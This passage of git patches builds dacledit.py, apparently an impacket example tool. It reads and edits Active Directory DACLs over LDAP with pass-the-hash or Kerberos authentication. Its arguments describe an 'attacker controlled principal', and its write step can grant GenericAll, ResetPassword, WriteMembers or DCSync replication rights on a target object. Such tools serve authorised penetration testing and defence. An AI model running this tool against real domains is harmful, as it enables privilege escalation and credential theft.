if self.ldap_session.result['result'] == 50: + logging.error('Could not modify object, the server reports insufficient rights: %s', + self.ldap_session.result['message']) + elif self.ldap_session.result['result'] == 19: + logging.error('Could not modify object, the server reports a constrained violation: %s', + self.ldap_session.result['message']) + else: + logging.error('The server returned an error: %s', self.ldap_session.result['message']) + return + + def remove(self, controlled_account, rights_guid): + # todo, we need to parse a DACL + pass + + def flush(self): + # todo but implement a check, it could be a reeeeeaaally bad idea to flush an object DACL + pass + + def backup(self, controlled_account, backup_filename): + # todo, check the format of the restore file when using ntlmrelayx, it could be nice to bring support for this, aclpwn is a bit old and not maintained anymore + pass + + def restore(self, controlled_account, backup_filename): + # todo, check the format of the restore file when using ntlmrelayx, it could be nice to bring support for this, aclpwn is a bit old and not maintained anymore + pass + + def get_user_info(self, samname): + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) + try: + dn = self.ldap_session.entries[0].entry_dn + sid = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) + return dn, sid + except IndexError: + logging.error('User not found in LDAP: %s' % samname) + return False + + +def parse_args(): + parser = argparse.ArgumentParser(add_help=True, description='Python editor for a principal\'s DACL.') + parser.add_argument('identity', action='store', help='domain.local/username[:password]') + parser.add_argument("-from", dest="controlled_account", type=str, required=False, help="Attacker controlled principal to add for the ACE") + parser.add_argument("-to", dest="target_account", type=str, required=False, help="Target principal the attacker has WriteDACL to") + parser.add_argument('-action', choices=['read', 'write', 'remove'], nargs='?', default='read', help='Action to operate on the DACL') + parser.add_argument('-rights', choices=['GenericAll', 'ResetPassword', 'WriteMembers', 'DCSync'], nargs='?', default='GenericAll', help='Rights to write/remove in the target DACL') + parser.add_argument('-rights-guid', type=str, help='Manual GUID representing the right to add to the target') + parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) ' + 'based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') + group = parser.add_argument_group('connection') + group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller or KDC (Key Distribution Center)' + ' for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + return parser.parse_args() + + +def parse_identity(args): + domain, username, password = utils.parse_credentials(args.identity) + + if domain == '': + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: + from getpass import getpass + logging.info("No credentials supplied, supply password") + password = getpass("Password:") + + if args.aesKey is not None: + args.k = True + + if args.hashes is not None: + lmhash, nthash = args.hashes.split(':') + else: + lmhash = '' + nthash = '' + + return domain, username, password, lmhash, nthash + + +def init_logger(args): + # Init the example's logger theme and debug level + logger.init(args.ts) + if args.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) + + +def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): + user = '%s\\%s' % (domain, username) + if tls_version is not None: + use_ssl = True + port = 636 + tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version) + else: + use_ssl = False + port = 389 + tls = None + ldap_server = ldap3.Server(target, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) + if args.k: + ldap_session = ldap3.Connection(ldap_server) + ldap_session.bind() + ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip) + elif args.hashes is not None: + ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True) + else: + ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True) + + return ldap_server, ldap_session + + +def init_ldap_session(args, domain, username, password, lmhash, nthash): + if args.k: + target = get_machine_name(args, domain) + else: + if args.dc_ip is not None: + target = args.dc_ip + else: + target = domain + + if args.use_ldaps is True: + try: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash) + except ldap3.core.exceptions.LDAPSocketOpenError: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash) + else: + return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash) + + +def main(): + print(version.BANNER) + args = parse_args() + init_logger(args) + + if args.action == 'write' and args.delegate_from is None: + logging.critical('`-delegate-from` should be specified when using `-action write` !') + sys.exit(1) + + domain, username, password, lmhash, nthash = parse_identity(args) + if len(nthash) > 0 and lmhash == "": + lmhash = "aad3b435b51404eeaad3b435b51404ee" + + try: + ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash) + dacledit = DACLedit(ldap_server, ldap_session, args.target_account) + if args.action == 'read': + dacledit.read() + elif args.action == 'write': + dacledit.write(args.controlled_account, args.rights, args.rights_guid) + elif args.action == 'remove': + dacledit.remove(args.controlled_account, args.rights, args.rights_guid) + elif args.action == 'flush': + dacledit.flush() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + traceback.print_exc() + logging.error(str(e)) + + +if __name__ == '__main__': + main() From c262752e9ade02707843f1eba4b62107485d62eb Mon Sep 17 00:00:00 2001 From: Shutdown Date: Thu, 31 Mar 2022 20:35:33 +0200 Subject: [PATCH 100/163] adding base for DACL parsing --- examples/dacledit.py | 388 +++++++++++++++++++++++++++---------------- 1 file changed, 245 insertions(+), 143 deletions(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index ba3ae7dbe..b29276dcf 100644 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -41,148 +41,41 @@ class RIGHTS_GUID(Enum): WRITE_MEMBERS = "bf9679c0-0de6-11d0-a285-00aa003049e2" RESET_PASSWORD = "00299570-246d-11d0-a768-00aa006e0529" -def get_machine_name(args, domain): - if args.dc_ip is not None: - s = SMBConnection(args.dc_ip, args.dc_ip) - else: - s = SMBConnection(domain, domain) - try: - s.login('', '') - except Exception: - if s.getServerName() == '': - raise Exception('Error while anonymous logging into %s' % domain) - else: - s.logoff() - return s.getServerName() - - -def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, - TGT=None, TGS=None, useCache=True): - from pyasn1.codec.ber import encoder, decoder - from pyasn1.type.univ import noValue - """ - logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. - :param string user: username - :param string password: password for the user - :param string domain: domain where the account is valid for (required) - :param string lmhash: LMHASH used to authenticate using hashes (password is not used) - :param string nthash: NTHASH used to authenticate using hashes (password is not used) - :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication - :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) - :param struct TGT: If there's a TGT available, send the structure here and it will be used - :param struct TGS: same for TGS. See smb3.py for the format - :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False - :return: True, raises an Exception if error. - """ - - if lmhash != '' or nthash != '': - if len(lmhash) % 2: - lmhash = '0' + lmhash - if len(nthash) % 2: - nthash = '0' + nthash - try: # just in case they were converted already - lmhash = unhexlify(lmhash) - nthash = unhexlify(nthash) - except TypeError: - pass - - # Importing down here so pyasn1 is not required if kerberos is not used. - from impacket.krb5.ccache import CCache - from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set - from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS - from impacket.krb5 import constants - from impacket.krb5.types import Principal, KerberosTime, Ticket - import datetime - - if TGT is not None or TGS is not None: - useCache = False - - target = 'ldap/%s' % target - if useCache: - domain, user, TGT, TGS = CCache.parseFile(domain, user, target) - - # First of all, we need to get a TGT for the user - userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - if TGT is None: - if TGS is None: - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, - aesKey, kdcHost) - else: - tgt = TGT['KDC_REP'] - cipher = TGT['cipher'] - sessionKey = TGT['sessionKey'] - - if TGS is None: - serverName = Principal(target, type=constants.PrincipalNameType.NT_SRV_INST.value) - tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, - sessionKey) - else: - tgs = TGS['KDC_REP'] - cipher = TGS['cipher'] - sessionKey = TGS['sessionKey'] - - # Let's build a NegTokenInit with a Kerberos REQ_AP - - blob = SPNEGO_NegTokenInit() - - # Kerberos - blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] - - # Let's extract the ticket from the TGS - tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] - ticket = Ticket() - ticket.from_asn1(tgs['ticket']) - - # Now let's build the AP_REQ - apReq = AP_REQ() - apReq['pvno'] = 5 - apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) - - opts = [] - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticket.to_asn1) - - authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = domain - seq_set(authenticator, 'cname', userName.components_to_asn1) - now = datetime.datetime.utcnow() - - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) - - encodedAuthenticator = encoder.encode(authenticator) - - # Key Usage 11 - # AP-REQ Authenticator (includes application authenticator - # subkey), encrypted with the application session key - # (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) - - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator - - blob['MechToken'] = encoder.encode(apReq) - - request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', - blob.getData()) - - # Done with the Kerberos saga, now let's get into LDAP - if connection.closed: # try to open connection if closed - connection.open(read_server_info=False) - - connection.sasl_in_progress = True - response = connection.post_send_single_response(connection.send('bindRequest', request, None)) - connection.sasl_in_progress = False - if response[0]['result'] != 0: - raise Exception(response) - - connection.bound = True - - return True - +class ACE_FLAGS(Enum): + CONTAINER_INHERIT_ACE = ldaptypes.ACE.CONTAINER_INHERIT_ACE + FAILED_ACCESS_ACE_FLAG = ldaptypes.ACE.FAILED_ACCESS_ACE_FLAG + INHERIT_ONLY_ACE = ldaptypes.ACE.INHERIT_ONLY_ACE + INHERITED_ACE = ldaptypes.ACE.INHERITED_ACE + NO_PROPAGATE_INHERIT_ACE = ldaptypes.ACE.NO_PROPAGATE_INHERIT_ACE + OBJECT_INHERIT_ACE = ldaptypes.ACE.OBJECT_INHERIT_ACE + SUCCESSFUL_ACCESS_ACE_FLAG = ldaptypes.ACE.SUCCESSFUL_ACCESS_ACE_FLAG + + +class ALLOWED_OBJECT_ACE_FLAGS(Enum): + ACE_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT + ACE_INHERITED_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT + +class ALLOWED_ACE_MASK_FLAGS(Enum): + GENERIC_READ = ldaptypes.ACCESS_MASK.GENERIC_READ + GENERIC_WRITE = ldaptypes.ACCESS_MASK.GENERIC_WRITE + GENERIC_EXECUTE = ldaptypes.ACCESS_MASK.GENERIC_EXECUTE + GENERIC_ALL = ldaptypes.ACCESS_MASK.GENERIC_ALL + MAXIMUM_ALLOWED = ldaptypes.ACCESS_MASK.MAXIMUM_ALLOWED + ACCESS_SYSTEM_SECURITY = ldaptypes.ACCESS_MASK.ACCESS_SYSTEM_SECURITY + SYNCHRONIZE = ldaptypes.ACCESS_MASK.SYNCHRONIZE + WRITE_OWNER = ldaptypes.ACCESS_MASK.WRITE_OWNER + WRITE_DACL = ldaptypes.ACCESS_MASK.WRITE_DACL + READ_CONTROL = ldaptypes.ACCESS_MASK.READ_CONTROL + DELETE = ldaptypes.ACCESS_MASK.DELETE + +class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum): + ADS_RIGHT_DS_CONTROL_ACCESS = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS + ADS_RIGHT_DS_CREATE_CHILD = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD + ADS_RIGHT_DS_DELETE_CHILD = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_DELETE_CHILD + ADS_RIGHT_DS_READ_PROP = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_READ_PROP + ADS_RIGHT_DS_WRITE_PROP = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP + ADS_RIGHT_DS_SELF = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_SELF # Create an ALLOW ACE with the specified sid def create_access_allowed_ace(access_mask, sid): @@ -239,8 +132,8 @@ def read(self): secDescData = self.target_principal['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) # todo we now need to pars the DACL to print an ACE type, mask, SID, rights, etc. - # for ace in secDesc['Dacl']['Data']: - # print(ace) + parsed_dacl = self.parseDACL(secDesc['Dacl']) + self.printparsedDACL(parsed_dacl) except IndexError: logging.error('Principal not found in LDAP: %s' % self.target_account) return False @@ -327,6 +220,73 @@ def get_user_info(self, samname): logging.error('User not found in LDAP: %s' % samname) return False + def parseDACL(self, dacl): + parsed_dacl = [] + logging.info("Parsing DACL") + i = 0 + for ace in dacl['Data']: + logging.debug("Parsing ACE[%d]" % i) + if ace['TypeName'] == "ACCESS_ALLOWED_ACE" or ace['TypeName'] == "ACCESS_ALLOWED_OBJECT_ACE": + parsed_ace = {} + parsed_ace['ACE Type'] = ace['TypeName'] + _ace_flags = [] + for FLAG in ACE_FLAGS: + if ace.hasFlag(FLAG.value): + _ace_flags.append(FLAG.name) + parsed_ace['ACE flags'] = ", ".join(_ace_flags) + + if ace['TypeName'] == "ACCESS_ALLOWED_ACE": + _access_mask_flags = [] + for FLAG in ALLOWED_ACE_MASK_FLAGS: + if ace['Ace']['Mask'].hasPriv(FLAG.value): + _access_mask_flags.append(FLAG.name) + parsed_ace['Mask'] = ", ".join(_access_mask_flags) + parsed_ace['Sid'] = ace['Ace']['Sid'].formatCanonical() + # todo match the SID with the object sAMAccountName ? + elif ace['TypeName'] == "ACCESS_ALLOWED_OBJECT_ACE": + _access_mask_flags = [] + for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS: + if ace['Ace']['Mask'].hasPriv(FLAG.value): + _access_mask_flags.append(FLAG.name) + parsed_ace['Mask'] = ", ".join(_access_mask_flags) + parsed_ace['Sid'] = ace['Ace']['Sid'].formatCanonical() + # todo match the SID with the object sAMAccountName ? + _object_flags = [] + for FLAG in ALLOWED_OBJECT_ACE_FLAGS: + if ace['Ace'].hasFlag(FLAG.value): + _object_flags.append(FLAG.name) + parsed_ace['Object flags'] = ", ".join(_object_flags) + parsed_ace['Sid'] = ace['Ace']['Sid'].formatCanonical() + if ace['Ace']['ObjectTypeLen'] != 0: + parsed_ace['Object type'] = bin_to_string(ace['Ace']['ObjectType']) + # todo match guid with human readable right, create an Enum class for that + if ace['Ace']['InheritedObjectTypeLen'] != 0: + parsed_ace['Inherited object type'] = bin_to_string(ace['Ace']['InheritedObjectType']) + # todo match guid with human readable right, create an Enum class for that + else: + logging.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace['TypeName']) + parsed_ace = {} + parsed_ace['Type'] = ace['TypeName'] + _ace_flags = [] + for FLAG in ACE_FLAGS: + if ace.hasFlag(FLAG.value): + _ace_flags.append(FLAG.name) + parsed_ace['Flags'] = ", ".join(_ace_flags) + parsed_ace['DEBUG'] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute" + parsed_dacl.append(parsed_ace) + i += 1 + return parsed_dacl + + def printparsedDACL(self, parsed_dacl): + logging.info("Printing parsed DACL") + i = 0 + for parsed_ace in parsed_dacl: + logging.info(" %-28s" % "ACE[%d] info" % i) + elements_name = list(parsed_ace.keys()) + for attribute in elements_name: + logging.info(" %-26s: %s" % (attribute, parsed_ace[attribute])) + i += 1 + def parse_args(): parser = argparse.ArgumentParser(add_help=True, description='Python editor for a principal\'s DACL.') @@ -392,6 +352,148 @@ def init_logger(args): logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) +def get_machine_name(args, domain): + if args.dc_ip is not None: + s = SMBConnection(args.dc_ip, args.dc_ip) + else: + s = SMBConnection(domain, domain) + try: + s.login('', '') + except Exception: + if s.getServerName() == '': + raise Exception('Error while anonymous logging into %s' % domain) + else: + s.logoff() + return s.getServerName() + + +def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, + TGT=None, TGS=None, useCache=True): + from pyasn1.codec.ber import encoder, decoder + from pyasn1.type.univ import noValue + """ + logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. + :param string user: username + :param string password: password for the user + :param string domain: domain where the account is valid for (required) + :param string lmhash: LMHASH used to authenticate using hashes (password is not used) + :param string nthash: NTHASH used to authenticate using hashes (password is not used) + :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication + :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) + :param struct TGT: If there's a TGT available, send the structure here and it will be used + :param struct TGS: same for TGS. See smb3.py for the format + :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False + :return: True, raises an Exception if error. + """ + + if lmhash != '' or nthash != '': + if len(lmhash) % 2: + lmhash = '0' + lmhash + if len(nthash) % 2: + nthash = '0' + nthash + try: # just in case they were converted already + lmhash = unhexlify(lmhash) + nthash = unhexlify(nthash) + except TypeError: + pass + + # Importing down here so pyasn1 is not required if kerberos is not used. + from impacket.krb5.ccache import CCache + from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set + from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS + from impacket.krb5 import constants + from impacket.krb5.types import Principal, KerberosTime, Ticket + import datetime + + if TGT is not None or TGS is not None: + useCache = False + + target = 'ldap/%s' % target + if useCache: + domain, user, TGT, TGS = CCache.parseFile(domain, user, target) + + # First of all, we need to get a TGT for the user + userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + if TGT is None: + if TGS is None: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, + aesKey, kdcHost) + else: + tgt = TGT['KDC_REP'] + cipher = TGT['cipher'] + sessionKey = TGT['sessionKey'] + + if TGS is None: + serverName = Principal(target, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, + sessionKey) + else: + tgs = TGS['KDC_REP'] + cipher = TGS['cipher'] + sessionKey = TGS['sessionKey'] + + # Let's build a NegTokenInit with a Kerberos REQ_AP + + blob = SPNEGO_NegTokenInit() + + # Kerberos + blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] + + # Let's extract the ticket from the TGS + tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) + + # Now let's build the AP_REQ + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = [] + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = domain + seq_set(authenticator, 'cname', userName.components_to_asn1) + now = datetime.datetime.utcnow() + + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 11 + # AP-REQ Authenticator (includes application authenticator + # subkey), encrypted with the application session key + # (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + blob['MechToken'] = encoder.encode(apReq) + + request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', + blob.getData()) + + # Done with the Kerberos saga, now let's get into LDAP + if connection.closed: # try to open connection if closed + connection.open(read_server_info=False) + + connection.sasl_in_progress = True + response = connection.post_send_single_response(connection.send('bindRequest', request, None)) + connection.sasl_in_progress = False + if response[0]['result'] != 0: + raise Exception(response) + + connection.bound = True + + return True + + def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): user = '%s\\%s' % (domain, username) if tls_version is not None: From f350cdca61ecb1214b457e29a65378387b405860 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Fri, 1 Apr 2022 03:07:18 +0200 Subject: [PATCH 101/163] Read Write and Remove now work partially, GenericAll issue left to deal with --- examples/dacledit.py | 335 ++++++++++++++++++++++++++++------------ impacket/msada_guids.py | 0 2 files changed, 233 insertions(+), 102 deletions(-) create mode 100644 impacket/msada_guids.py diff --git a/examples/dacledit.py b/examples/dacledit.py index b29276dcf..a6cbe2928 100644 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -11,8 +11,9 @@ # Python script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer # # Authors: -# Charlie Bromberg (@_nwodtuhs) -# @BlWasp_ +# Charlie BROMBERG (@_nwodtuhs) +# Guillaume DAUMAS (@BlWasp_) +# Lucien DOUSTALY (@Wlayzz) # import argparse @@ -29,18 +30,22 @@ from impacket import version from impacket.examples import logger, utils from impacket.ldap import ldaptypes +from impacket.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS from impacket.smbconnection import SMBConnection from impacket.spnego import SPNEGO_NegTokenInit, TypesMech from ldap3.utils.conv import escape_filter_chars from ldap3.protocol.microsoft import security_descriptor_control from impacket.uuid import string_to_bin, bin_to_string +OBJECT_TYPES_GUID = {} +OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS) +OBJECT_TYPES_GUID.update(EXTENDED_RIGHTS) + class RIGHTS_GUID(Enum): - DS_REPLICATION_GET_CHANGES = "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" - DS_REPLICATION_GET_CHANGES_ALL = "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" WRITE_MEMBERS = "bf9679c0-0de6-11d0-a285-00aa003049e2" RESET_PASSWORD = "00299570-246d-11d0-a768-00aa006e0529" - + DS_REPLICATION_GET_CHANGES = "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" + DS_REPLICATION_GET_CHANGES_ALL = "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" class ACE_FLAGS(Enum): CONTAINER_INHERIT_ACE = ldaptypes.ACE.CONTAINER_INHERIT_ACE @@ -51,7 +56,6 @@ class ACE_FLAGS(Enum): OBJECT_INHERIT_ACE = ldaptypes.ACE.OBJECT_INHERIT_ACE SUCCESSFUL_ACCESS_ACE_FLAG = ldaptypes.ACE.SUCCESSFUL_ACCESS_ACE_FLAG - class ALLOWED_OBJECT_ACE_FLAGS(Enum): ACE_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT ACE_INHERITED_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT @@ -110,14 +114,22 @@ def create_access_allowed_object_ace(privguid, sid): class DACLedit(object): """docstring for setrbcd""" - def __init__(self, ldap_server, ldap_session, target_account): + def __init__(self, ldap_server, ldap_session, args): super(DACLedit, self).__init__() self.ldap_server = ldap_server self.ldap_session = ldap_session - self.controlled_account = None - self.controlled_account_sid = None - self.target_account = target_account - self.target_principal = None + + self.target_sAMAccountName = args.target_sAMAccountName + self.target_SID = args.target_SID + self.target_DN = args.target_DN + + self.principal_sAMAccountName = args.principal_sAMAccountName + self.principal_SID = args.principal_SID + self.principal_DN = args.principal_DN + + self.rights = args.rights + self.rights_guid = args.rights_guid + logging.debug('Initializing domainDumper()') cnf = ldapdomaindump.domainDumpConfig() cnf.basepath = None @@ -126,58 +138,73 @@ def __init__(self, ldap_server, ldap_session, target_account): def read(self): # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.target_account), attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) + if self.target_sAMAccountName is not None: + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.target_sAMAccountName), attributes=['nTSecurityDescriptor'], controls=controls) + elif self.target_SID is not None: + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % self.target_SID, attributes=['nTSecurityDescriptor'], controls=controls) + elif self.target_DN is not None: + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % self.target_DN, attributes=['nTSecurityDescriptor'], controls=controls) try: self.target_principal = self.ldap_session.entries[0] secDescData = self.target_principal['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) - # todo we now need to pars the DACL to print an ACE type, mask, SID, rights, etc. parsed_dacl = self.parseDACL(secDesc['Dacl']) self.printparsedDACL(parsed_dacl) except IndexError: - logging.error('Principal not found in LDAP: %s' % self.target_account) + logging.error('Principal not found in LDAP') return False return - def write(self, controlled_account, rights, rights_guid): - self.controlled_account = controlled_account - result = self.get_user_info(self.controlled_account) - if not result: - logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)') - return - self.controlled_account_sid = str(result[1]) - logging.debug("Controlled account SID: %s" % self.controlled_account_sid) + def write(self): + if self.principal_SID is None: + if self.principal_sAMAccountName is not None: + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.principal_sAMAccountName), attributes=['objectSid']) + elif self.principal_DN is not None: + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % self.principal_DN, attributes=['objectSid']) + try: + self.principal_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) + pass + except IndexError: + logging.error('Principal not found in LDAP') + return False + logging.debug("Principal SID to write in ACE(s): %s" % self.principal_SID) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.target_account), attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) + if self.target_sAMAccountName is not None: + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.target_sAMAccountName), attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls) + elif self.target_SID is not None: + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % self.target_SID, attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls) + elif self.target_DN is not None: + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % self.target_DN, attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls) try: self.target_principal = self.ldap_session.entries[0] except IndexError: - logging.error('Principal not found in LDAP: %s' % self.target_account) + logging.error('Principal not found in LDAP') return False + if self.target_SID is not None: + assert self.target_SID == self.target_principal['objectSid'].raw_values[0] + else: + self.target_SID = self.target_principal['objectSid'].raw_values[0] secDescData = self.target_principal['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) - if rights == "GenericAll" and rights_guid is None: - logging.info("Appending ACE (%s --(GENERIC_ALL)--> %s)" % (self.controlled_account_sid, self.target_account)) - # todo check if rights already there, not changing if they are - secDesc['Dacl']['Data'].append(create_access_allowed_ace(ldaptypes.ACCESS_MASK.GENERIC_ALL, self.controlled_account_sid)) - pass + if self.rights == "GenericAll" and self.rights_guid is None: + logging.info("Appending ACE (%s --(GENERIC_ALL)--> %s)" % (self.principal_SID, format_sid(self.target_SID))) + secDesc['Dacl'].aces.append(create_access_allowed_ace(ldaptypes.ACCESS_MASK.GENERIC_ALL, self.principal_SID)) else: - rights_guids = [] - if rights_guid is not None: - rights_guids = [ rights_guid ] - elif rights == "WriteMembers": - rights_guids = [ RIGHTS_GUID.WRITE_MEMBERS ] - elif rights == "ResetPassword": - rights_guids = [ RIGHTS_GUID.RESET_PASSWORD ] - elif rights == "DCSync": - rights_guids = [ RIGHTS_GUID.DS_REPLICATION_GET_CHANGES, + _rights_guids = [] + if self.rights_guid is not None: + _rights_guids = [ self.rights_guid ] + elif self.rights == "WriteMembers": + _rights_guids = [ 